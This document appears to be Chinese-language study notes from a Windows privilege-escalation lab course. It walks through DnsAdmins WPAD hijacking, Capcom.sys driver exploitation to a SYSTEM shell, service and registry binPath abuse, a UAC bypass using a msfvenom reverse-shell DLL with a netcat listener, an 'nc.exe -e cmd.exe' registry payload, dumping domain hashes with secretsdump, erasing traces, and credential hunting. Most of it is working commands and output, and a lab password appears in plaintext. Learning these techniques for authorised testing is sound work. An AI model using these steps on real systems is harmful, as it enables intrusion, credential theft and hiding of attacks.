创建 WPAD 记录 滥用 DnsAdmins 组权限的另一种方法是创建 WPAD 记录。此组的成员身份赋予禁用全局查询阻止安全性 的权限,默认情况下会阻止此攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议 (WPAD) 和站内自动隧道寻址协议 (ISATAP) 位于全局查询阻止列表中。这些协议很容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。
禁用全局查询阻止列表并创建 WPAD 记录后,每台运行 WPAD 且设置默认的机器的流量都将通过攻击机器进行代理。可以使用Responder 或Inveigh 等工具执行流量欺骗,并尝试捕获密码哈希并离线破解它们或执行 SMBRelay 攻击。
禁用了全局查询阻止列表
1 C:\> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
添加指向攻击机器的 WPAD 记录
1 C:\> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10 .14.3
Hyper-V Administrators Hyper -V 管理员 组对所有Hyper-V 功能 具有完全访问权限。如果域控制器已虚拟化,则 Hyper-V Administrators
应被视为域管理员。他们可以轻松创建实时域控制器的克隆并离线安装虚拟磁盘以获取 NTDS.dit 文件并提取域中所有用户的 NTLM 密码哈希。
这篇blog 中也有详细记录,删除虚拟机后,vmms.exe
会尝试恢复相应 .vhdx
文件的原始文件权限,并以 NT AUTHORITY\SYSTEM
身份执行此操作,而无需冒充用户。可以删除 .vhdx
文件并创建一个本机硬链接,将此文件指向受保护的 SYSTEM 文件,将拥有该文件的完全权限。
如果操作系统存在 CVE-2018-0952 或 CVE-2019-0841 漏洞,也可以利用这些漏洞获取 SYSTEM 权限。
一个例子是 Firefox,它安装了 Mozilla 维护服务。可以更新此漏洞 (NT 硬链接的概念验证),以授予当前用户对以下文件的完全权限:
1 C:\Program Files (x86 )\Mozilla Maintenance Service \maintenanceservice.exe
运行一下命令后,应该可以完全控制此文件并获取其所有权。
1 C:\> takeown /F C :\Program Files (x86 )\Mozilla Maintenance Service \maintenanceservice.exe
启动 Mozilla 维护服务,并用恶意的 MaintenanceService.exe 替换此文件,启动维护服务,并以 SYSTEM 身份执行命令。
1 C:\> sc.exe start MozillaMaintenance
注意:2020 年 3 月的 Windows 安全更新已缓解此向量的影响,更新改变了与硬链接相关的行为。
Print Operators Print Operators 是一个具有高权限的组,Print Operators 授予其成员 SeLoadDriverPrivilege
、管理、创建、共享和删除连接到域控制器的打印机的权限,以及本地登录域控制器并将其关闭的能力。如果发出命令 whoami /priv
,并且在未提升的上下文中看不到 SeLoadDriverPrivilege
,则需要绕过 UAC。
1 2 3 4 5 6 7 8 9 10 C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================== ================================= ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeShutdownPrivilege Shut down the system Disabled
开启 SeLoadDriverPrivilege UACMe 仓库提供了完整的 UAC 绕过列表,可以从命令行使用。或者,从 GUI,可以打开管理命令 shell 并输入属于 Print Operators 组成员的帐户的凭据。如果再次检查权限,SeLoadDriverPrivilege
是可见的,但已被禁用。
1 2 3 4 5 6 7 8 9 10 11 12 C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ================================== ========== SeMachineAccountPrivilege Add workstations to domain Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
驱动程序Capcom.sys
包含允许任何用户以 SYSTEM 权限执行 shellcode 的功能。可以使用权限来加载此易受攻击的驱动程序并提升权限。可以使用此工具 来加载驱动程序。
1 2 3 4 5 6 #include <windows.h> #include <assert.h> #include <winternl.h> #include <sddl.h> #include <stdio.h> #include "tchar.h"
下载到本地编辑并编译
1 2 3 4 5 6 7 8 9 10 11 C:\>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Microsoft (R ) C /C ++ Optimizing Compiler Version 19.28.29913 for x86 Copyright (C ) Microsoft Corporation . All rights reserved .EnableSeLoadDriverPrivilege.cpp Microsoft (R ) Incremental Linker Version 14.28.29913.0Copyright (C ) Microsoft Corporation . All rights reserved ./out:EnableSeLoadDriverPrivilege .exe EnableSeLoadDriverPrivilege.obj
接下来,从此处 下载驱动程序,并将其保存到C:\temp
。发出以下命令以在 HKEY_CURRENT_USER 树下添加对此驱动程序的引用。
1 2 3 4 5 6 7 8 C:\> reg add HKCU \System \CurrentControlSet \CAPCOM /v ImagePath /t REG_SZ /d "\??\C :\Tools \Capcom.sys " The operation completed successfully .C :\> reg add HKCU \System \CurrentControlSet \CAPCOM /v Type /t REG_DWORD /d 1The operation completed successfully .
运行 EnableSeLoadDriverPrivilege.exe
1 2 3 4 5 6 7 8 9 10 11 12 C:\> EnableSeLoadDriverPrivilege.exe whoami :INLANEFREIGHT0 \printsvc whoami /priv SeMachineAccountPrivilege Disabled SeLoadDriverPrivilege Enabled SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled by default SeIncreaseWorkingSetPrivilege Disabled NTSTATUS : 00000000, WinError : 0
验证 Capcom 驱动程序是否已列出。
1 2 3 4 5 PS C:\> .\DriverView.exe /stext drivers.txtPS C:\> cat drivers.txt | Select-String -pattern CapcomDriver Name : Capcom.sys Filename : C:\Capcom.sys
为了利用 Capcom.sys,可以用 Visual Studio 编译后使用ExploitCapcom工具。
1 2 3 4 5 6 7 8 PS C:\> .\ExploitCapcom.exe[*] Capcom.sys exploit [*] Capcom.sys handle was obained as 0000000000000070 [*] Shellcode was placed at 0000024822 A50008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched
这将启动具有 SYSTEM 权限的 shell
替代利用-无GUI 如果无法通过 GUI 访问目标,则必须在编译之前修改ExploitCapcom.cpp
代码。在这里,可以编辑第 292 行,并将其"C:\Windows\\system32\\cmd.exe"
替换为msfvenom
创建的反向 shell 二进制文件,例如:c:\ProgramData\revshell.exe
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static bool LaunchShell () { TCHAR CommandLine[] = TEXT("C:\Windows\\system32\\cmd.exe" ); PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo = { sizeof (StartupInfo) }; if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, &ProcessInfo)) { return false ; } CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); return true ; }
更改为
1 TCHAR CommandLine[] = TEXT("C:\ProgramData\\revshell.exe" );
EopLoadDriver 自动化 EoPLoadDriver 工具可以自动执行启用特权、创建注册表项以及执行NTLoadDriver
加载驱动程序的过程。
1 2 3 4 5 6 C:\> EoPLoadDriver.exe System \CurrentControlSet \Capcom c :\Tools \Capcom.sys [+] Enabling SeLoadDriverPrivilege [+] SeLoadDriverPrivilege Enabled [+] Loading Driver : \Registry \User \S -1-5-21-454284637-3659702366-2958135535-1103\System \CurrentControlSet \Capcom NTSTATUS : c000010e , WinError : 0
然后将运行ExploitCapcom.exe
弹出 SYSTEM shell 或运行自定义二进制文件。
Clean 通过删除之前添加的注册表项来掩盖踪迹。
1 2 3 4 5 C:\> reg delete HKCU \System \CurrentControlSet \Capcom Permanently delete the registry key HKEY_CURRENT_USER \System \CurrentControlSet \Capcom (Yes /No )? Yes The operation completed successfully .
注意:自 Windows 10 版本 1803 起,SeLoadDriverPrivilege 不可利用,因为不再可能包含对 HKEY_CURRENT_USER 下注册表项的引用。
Server Operators 服务器操作员 组允许成员管理 Windows 服务器,而无需分配域管理员权限。这是一个具有极高权限的组,可以本地登录到服务器,包括域控制器。
该团体的成员享有强大的SeBackupPrivilege
特权SeRestorePrivilege
和控制本地服务的能力。
检查一下该AppReadiness
服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\> sc qc AppReadiness [SC ] QueryServiceConfig SUCCESS SERVICE_NAME : AppReadiness TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C :\Windows \System32 \svchost.exe -k AppReadiness -p LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : App Readiness DEPENDENCIES : SERVICE_START_NAME : LocalSystem
也可以使用服务查看器/控制器PsService (Sysinternals 套件的一部分)来检查服务的权限。PsService
其工作原理与sc
非常相似,可以显示服务状态和配置,还允许您在本地和远程主机上启动、停止、暂停、恢复和重新启动服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 C:\> c :\Tools \PsService.exe security AppReadiness PsService v2 .25 - Service information and configuration utility Copyright (C ) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com SERVICE_NAME : AppReadiness DISPLAY_NAME : App Readiness ACCOUNT : LocalSystem SECURITY : [ALLOW ] NT AUTHORITY \SYSTEM Query status Query Config Interrogate Enumerate Dependents Pause /Resume Start Stop User -Defined Control Read Permissions [ALLOW ] BUILTIN \Administrators All [ALLOW ] NT AUTHORITY \INTERACTIVE Query status Query Config Interrogate Enumerate Dependents User -Defined Control Read Permissions [ALLOW ] NT AUTHORITY \SERVICE Query status Query Config Interrogate Enumerate Dependents User -Defined Control Read Permissions [ALLOW ] BUILTIN \Server Operators All
更改二进制路径来执行一个命令,将当前用户添加到默认本地管理员组。
1 2 3 C:\> sc config AppReadiness binPath = "cmd /c net localgroup Administrators server_adm /add " [SC ] ChangeServiceConfig SUCCESS
启动服务失败,这是预料之中的。
1 2 3 4 5 C:\> sc start AppReadiness [SC ] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion .
检查管理员组的成员身份,会发现用户加入了管理员组。
1 2 3 4 5 6 7 8 9 10 11 12 13 C:\> net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer /domain Members ------------------------------------------------------------------------------- Administrator Domain Admins Enterprise Admins server_adm The command completed successfully .
从这里,可以完全控制域控制器,可以从 NTDS 数据库检索所有凭据并访问其他系统,并执行后利用任务。
1 2 3 4 $ crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!' SMB 10.129.43.9 445 WINLPE-DC01 [*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False) SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)
从域控制器检索 NTLM 密码哈希
1 2 3 4 5 6 7 8 9 10 11 12 13 $ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation Password: [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43 Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a Administrator:des-cbc-md5:d60dfbbf20548938 [*] Cleaning up...
User Account Control 用户帐户控制 (UAC) 是一种功能,可针对高级活动启用同意提示。应用程序有不同的integrity
级别,具有高级别的程序可以执行可能危害系统的任务。启用 UAC 后,应用程序和任务始终在非管理员帐户的安全上下文中运行,除非管理员明确授权这些应用程序/任务以管理员级别的权限运行系统。
没有命令行版本的 GUI 同意提示,因此必须绕过 UAC 才能使用特权访问令牌执行命令。
查看 UAC 是否已启用,如果已启用,则启用到什么级别。
1 2 3 4 C:\> REG QUERY HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \Policies \System \ /v EnableLUA HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \Policies \System EnableLUA REG_DWORD 0x1
检查 UAC 级别
1 2 3 4 C:\> REG QUERY HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \Policies \System \ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \Policies \System ConsentPromptBehaviorAdmin REG_DWORD 0x5
ConsentPromptBehaviorAdmin
的值为0x5
,表示Always notify
启用了最高级别的 UAC 。此最高级别的 UAC 绕过较少。
UAC 绕过利用了不同 Windows 版本中的缺陷或意外功能。检查一下想要提升的 Windows 版本。
1 2 3 4 5 PS C:\> [environment ]::OSVersion.VersionMajor Minor Build Revision ----- ----- ----- -------- 10 0 14393 0
返回内部版本 14393,使用此页面 交叉引用 Windows 版本1607
。
UACME 项目维护着一个 UAC 绕过列表,包括受影响的 Windows 版本号、所用技术以及 Microsoft 是否已发布安全更新来修复它的信息。技术编号 54,据说该技术从 Windows 10 版本 14393 开始工作。此技术针对自动提升二进制文件的 32 位版本SystemPropertiesAdvanced.exe
。Windows 将允许许多受信任的二进制文件自动提升权限,而无需 UAC 同意提示。
当尝试定位 DLL 时,Windows 将使用以下搜索顺序:
应用程序加载的目录。
C:\Windows\System32
64位系统的系统目录。
16 位系统目录C:\Windows\System
(不支持 64 位系统)
Windows 目录。
PATH 环境变量中列出的任何目录。
检查路径变量
1 2 3 4 5 6 7 PS C:\> cmd /c echo %PATH%C:\Windows\system32; C:\Windows; C:\Windows\System32\Wbem; C:\Windows\System32\WindowsPowerShell\v1.0 \; C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
通过 DLL 劫持来绕过 UAC,方法是将恶意srrstr.dll
放置到WindowsApps
文件夹中,该 DLL 将在提升的上下文中加载。
生成一个 DLL 来执行反向 shell
1 $ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
如果执行恶意srrstr.dll
文件,将收到一个显示正常用户权限(已启用 UAC)的 shell。为了测试这一点,可以运行 DLLrundll32.exe
来获取反向 shell 连接。
1 C:\> rundll32 shell32.dll ,Control_RunDLL C :\Users \sarah \AppData \Local \Microsoft \WindowsApps \srrstr.dll
一旦重新建立连接,将看到正常的用户权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ nc -lnvp 8443 listening on [any] 8443 ... connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 49789 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Users\sarah> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
再执行 SystemPropertiesAdvanced.exe
1 C:\> C :\Windows \SysWOW64 \SystemPropertiesAdvanced.exe
收到了一个提升的shell,表明权限可用,并且可以在需要时启用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $ nc -lvnp 8443 listening on [any] 8443 ... connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 50273 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami winlpe-ws03\sarah C:\Windows\system32>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Disabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilege Profile single process Disabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled SeCreatePagefilePrivilege Create a pagefile Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Disabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled SeCreateSymbolicLinkPrivilege Create symbolic links Disabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
Weak Permissions Windows 系统上的权限设置非常复杂,很难正确设置。一个地方的轻微修改可能会在其他地方引入漏洞。
Permissive File System ACLs enumeration GhostPack 工具套件中的SharpUp 来检查是否存在弱 ACL 的服务二进制文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\> .\SharpUp.exe audit=== SharpUp: Running Privilege Escalation Checks === === Modifiable Service Binaries === Name : SecurityService DisplayName : PC Security Management Service Description : Responsible for managing PC security State : Stopped StartMode : Auto PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe" <SNIP>
使用 icacls 可以验证漏洞并看到EVERYONE
和BUILTIN\Users
组已被授予该目录的完全权限,因此任何非特权系统用户都可以操作该目录及其内容。
1 2 3 4 5 6 7 8 9 10 PS C:\> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F) Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files
Replacing Service Binary 此服务也可由非特权用户启动,因此可以备份原始二进制文件,并将其替换为生成的恶意二进制文件msfvenom
。
Weak Service Permissions enumeration SharpUp 发现WindscribeService
可能配置错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 C:\> SharpUp.exe audit === SharpUp : Running Privilege Escalation Checks === === Modifiable Services === Name : WindscribeService DisplayName : WindscribeService Description : Manages the firewall and controls the VPN tunnel State : Running StartMode : Auto PathName : "C :\Program Files (x86 )\Windscribe \WindscribeService.exe "
Sysinternals 套件中的AccessChk 枚举服务的权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\> accesschk.exe /accepteula -quvcw WindscribeService Accesschk v6 .13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com WindscribeService Medium Mandatory Level (Default ) [No -Write -Up ] RW NT AUTHORITY \SYSTEM SERVICE_ALL_ACCESS RW BUILTIN \Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY \Authenticated Users SERVICE_ALL_ACCESS
更改服务文件路径 更改它以将用户添加到本地管理员组。可以设置二进制路径来运行选择的任何命令或可执行文件(例如反向 shell 二进制文件)。
1 2 3 C:\> sc config WindscribeService binpath ="cmd /c net localgroup administrators htb -student /add " [SC ] ChangeServiceConfig SUCCESS
重启服务,由于完全控制了该服务,因此可以启动它,并且即使返回错误消息,放置在binpath
中的命令也会运行。服务无法启动,因为binpath
未指向实际的服务可执行文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 C:\> sc stop WindscribeService SERVICE_NAME : WindscribeService TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (NOT_STOPPABLE , NOT_PAUSABLE , IGNORES_SHUTDOWN ) WIN32_EXIT_CODE : 0 (0x0 ) SERVICE_EXIT_CODE : 0 (0x0 ) CHECKPOINT : 0x4 WAIT_HINT : 0x0 C :\> sc start WindscribeService [SC ] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion .
确认本地管理员组添加
1 2 3 4 5 6 7 8 9 10 11 12 C:\> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer /domain Members ------------------------------------------------------------------------------- Administrator htb -student mrb3n The command completed successfully .
Clean 可以通过停止服务并将二进制路径重置回原始服务可执行文件来自行清理并确保服务正常运行。
恢复二进制路径
1 2 3 C:\> sc config WindScribeService binpath ="c :\Program Files (x86 )\Windscribe \WindscribeService.exe " [SC ] ChangeServiceConfig SUCCESS
重启服务
1 2 C:\> sc start WindScribeService C :\> sc query WindScribeService
Unquoted Service Path 安装服务时,注册表配置会指定服务启动时应执行的二进制文件的路径。如果此二进制文件未用引号括起来,Windows 将尝试在不同的文件夹中查找该二进制文件。
1 C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
Windows 将在服务启动时尝试按顺序加载以下潜在可执行文件,其中隐含 .exe:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64
查询服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\> sc qc SystemExplorerHelpService [SC ] QueryServiceConfig SUCCESS SERVICE_NAME : SystemExplorerHelpService TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C :\Program Files (x86 )\System Explorer \service \SystemExplorerService64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Explorer Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
如果可以创建以下文件,将能够劫持服务二进制文件并在服务上下文中获得命令执行,在本例中为NT AUTHORITY\SYSTEM
。
C:\Program.exe\
C:\Program Files (x86)\System.exe
在驱动器根目录或程序文件文件夹中创建文件需要管理员权限。即使系统配置错误以允许这样做,用户也可能无法重新启动服务,并且需要依赖系统重新启动来提升权限。虽然发现服务路径未加引号的应用程序并不罕见,但通常很难被利用。
搜索未加引号的服务路径
1 2 3 4 C:\> wmic service get name ,displayname ,pathname ,startmode |findstr /i "auto " | findstr /i /v "c :\windows \\" | findstr /i /v """ GVFS.Service GVFS.Service C :\Program Files \GVFS \GVFS.Service.exe Auto System Explorer Service SystemExplorerHelpService C :\Program Files (x86 )\System Explorer \service \SystemExplorerService64.exe Auto WindscribeService
Permissive Registry ACLs 检查注册表中是否存在弱服务 ACL
1 2 3 4 5 6 7 8 9 10 C:\> accesschk.exe /accepteula "mrb3n " -kvuqsw hklm \System \CurrentControlSet \services Accesschk v6 .13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com RW HKLM \System \CurrentControlSet \services \ModelManagerService KEY_ALL_ACCESS <SNIP >
利用Set-ItemProperty
来更改该ImagePath
值
1 PS C:\> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
Modifiable Registry Autorun Binary 使用 WMIC 查看系统启动时运行的程序。假设对给定二进制文件的注册表具有写权限,或者可以覆盖列出的二进制文件。在这种情况下,可能能够在用户下次登录时将权限提升给另一个用户。
文章 和网站 详细介绍了 Windows 系统上许多潜在的自动运行位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PS C:\> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl Name : OneDrive command : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001 \SOFTWARE\Microsoft\Windows\CurrentVersion\Run User : WINLPE-WS01 \mrb3n Name : Windscribe command : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os_restart Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001 \SOFTWARE\Microsoft\Windows\CurrentVersion\Run User : WINLPE-WS01 \mrb3n Name : SecurityHealth command : %windir%\system32\SecurityHealthSystray.exe Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run User : Public Name : VMware User Process command : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run User : Public Name : VMware VM3DService Process command : "C:\WINDOWS\system32\vm3dservice.exe" -u Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run User : Public
Kernel vulnerability 此网站 便于搜索有关 Microsoft 安全漏洞的详细信息。
Windows 操作系统已知的远程代码执行/本地特权提升漏洞的详细表格,按服务包级别细分,从 Windows XP 到 Server 2016。
Base OS
XP
2003
Vista
2008
7
2008R2
8
8.1
2012
2012R2
10
2016
Service Pack
SP0
SP1
SP2
SP3
SP0
SP1
SP2
SP0
SP1
SP2
SP0
SP2
SP0
SP1
SP0
SP1
MS03-026
•
•
•
•
•
•
•
MS05-039
•
•
•
•
•
MS08-025
•
•
•
•
•
•
•
•
•
MS08-067
•
•
•
•
•
•
•
•
•
•
MS08-068
•
•
•
•
•
•
•
•
•
•
MS09-012
•
•
•
•
•
•
•
•
•
•
MS09-050
•
•
•
•
•
MS10-015
•
•
•
•
•
•
•
•
MS10-059
•
•
•
•
•
•
•
MS10-092
•
•
•
•
•
•
•
MS11-011
•
•
•
•
•
•
•
•
•
•
•
MS11-046
•
•
•
•
•
•
•
•
•
•
•
•
•
MS11-062
•
•
•
•
MS11-080
•
•
•
•
MS13-005
•
•
•
•
•
•
•
•
•
•
•
MS13-053
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS13-081
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS14-002
•
•
•
•
MS14-040
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS14-058
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS14-062
•
•
•
MS14-068
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS14-070
•
•
•
MS15-001
•
•
•
•
•
•
•
•
MS15-010
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS15-051
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS15-061
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS15-076
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS15-078
•
•
•
•
•
•
•
•
•
•
•
•
•
MS15-097
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS16-016
•
•
•
•
•
•
•
•
•
MS16-032
•
•
•
•
•
•
•
•
•
•
•
•
MS16-135
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MS17-010
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
CVE-2017-0213: COM Aggregate Marshaler
•
•
•
•
•
•
•
•
•
•
Hot Potato
•
•
•
•
•
•
•
•
•
SmashedPotato
•
•
•
•
•
•
•
•
•
Vulnerable Services 在评估过程中,通常会在 Windows 工作站上遇到大量不同的应用程序和服务。
枚举已安装的应用程序
1 2 3 4 5 6 7 8 9 10 11 12 C:\> wmic product get name Name Microsoft Visual C ++ 2019 X64 Minimum Runtime - 14.28.29910Update for Windows 10 for x64 -based Systems (KB4023057 )Microsoft Visual C ++ 2019 X86 Additional Runtime - 14.24.28127VMware Tools Druva inSync 6.6.3Microsoft Update Health Tools Microsoft Visual C ++ 2019 X64 Additional Runtime - 14.28.29910Update for Windows 10 for x64 -based Systems (KB4480730 )Microsoft Visual C ++ 2019 X86 Minimum Runtime - 14.24.28127
找到输出的应用程序,搜索漏洞,并尽可能的利用。
DLL Injection DLL injection
是一种将一段代码(结构化为动态链接库 (DLL))插入正在运行的进程的方法。此技术允许插入的代码在进程的上下文中运行,从而影响其行为或访问其资源。
DLL injection
将恶意代码插入受信任的进程,在逃避安全软件检测方面特别有效。
待办
Credential Hunting Find File 配置文件 1 PS C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
词典文件 Chrome 词典文件,密码等敏感信息可能会被输入到电子邮件客户端或基于浏览器的应用程序中,这些应用程序会用下划线标记无法识别的任何单词。
1 2 3 PS C:\> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String passwordPassword1234!
无人值守安装的文件 无人值守安装文件可能会定义自动登录设置或作为安装的一部分要创建的附加帐户。其中的密码以纯文本或 base64 编码形式存储。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0" encoding="utf-8" ?> <unattend xmlns ="urn:schemas-microsoft-com:unattend" > <settings pass ="specialize" > <component name ="Microsoft-Windows-Shell-Setup" processorArchitecture ="amd64" publicKeyToken ="31bf3856ad364e35" language ="neutral" versionScope ="nonSxS" xmlns:wcm ="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" > <AutoLogon > <Password > <Value > local_4dmin_p@ss</Value > <PlainText > true</PlainText > </Password > <Enabled > true</Enabled > <LogonCount > 2</LogonCount > <Username > Administrator</Username > </AutoLogon > <ComputerName > *</ComputerName > </component > </settings >
PowerShell PowerShell 历史文件 从 Windows 10 中的 Powershell 5.0 开始,PowerShell 将命令历史记录存储到文件中:C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
查询 PowerShell 历史记录保存路径
